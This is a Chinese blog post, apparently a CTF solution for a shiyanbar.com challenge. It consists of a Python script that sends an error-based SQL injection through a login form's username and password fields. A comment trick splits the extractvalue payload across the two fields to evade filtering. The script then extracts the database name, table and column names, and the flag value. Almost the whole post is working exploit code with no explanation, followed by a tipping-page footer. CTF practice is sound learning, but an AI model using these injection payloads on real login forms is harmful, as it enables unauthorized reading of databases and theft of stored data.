实验吧——加了料的报错注入

 

# -*- coding:utf8 -*-
import requests
import re

def denglu(username,password):
    # 设置代理,用于调试过程中抓包分析
    proxies = {
      "http": "http://localhost:9008",
      "https": "http://localhost:9008",
    }  
    # 组包
    header = { "User-Agent" : "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36",
               "Referer": "http://www.shiyanbar.com/ctf/2011",
               "Content-Type": "application/x-www-form-urlencoded",
               "Upgrade-Insecure-Requests": "1",
               
               }
    url='http://ctf5.shiyanbar.com/web/baocuo/index.php'
    session = requests.session()
    payload = {
        'username':username,
        'password':password
        }
    
    r = session.post(url, data=payload,headers = header).text
    Set_Cookie = requests.utils.dict_from_cookiejar(session.cookies)
    # 过滤有效信息,作为函数返回值
    r = r.replace("<br>XPATH syntax error: ","")
    r = r.replace("'","")
    r = r.replace("\\","")
    if "," in r:
        tmp = re.split(",",r)
        return tmp[0]
    else:
        return r
    
# 查询数据库名
database = denglu("'or extractvalue /*", "*/(1, concat(0x5c,(SELECT database()))) or'") 
print(database)
# 查询表名称
#table = denglu("'or extractvalue /*", "*/(1, concat(0x5c,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables where TABLE_SCHEMA REGEXP 'error_based_hpf'))) or'") 
table = denglu("'or extractvalue /*", "*/(1, concat(0x5c,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables where TABLE_SCHEMA REGEXP '"+database+"'))) or'") 
print(table)
# 查询字段名
#column = denglu("'or extractvalue /*", "*/(1, concat(0x5c,(SELECT GROUP_CONCAT(column_name) from information_schema.KEY_COLUMN_USAGE where table_schema REGEXP database() and table_name REGEXP 'ffll44jj'))) or'")
column = denglu("'or extractvalue /*", "*/(1, concat(0x5c,(SELECT GROUP_CONCAT(column_name) from information_schema.KEY_COLUMN_USAGE where table_schema REGEXP database() and table_name REGEXP '"+table+"'))) or'")
print(column)
# 找到flag
#result = denglu("'or extractvalue /*", "*/(1, concat(0x5c,(SELECT value FROM ffll44jj))) or'") 
result = denglu("'or extractvalue /*", "*/(1, concat(0x5c,(SELECT "+column+" FROM "+table+"))) or'") 
print(result)

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

xiaoyuer0123

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值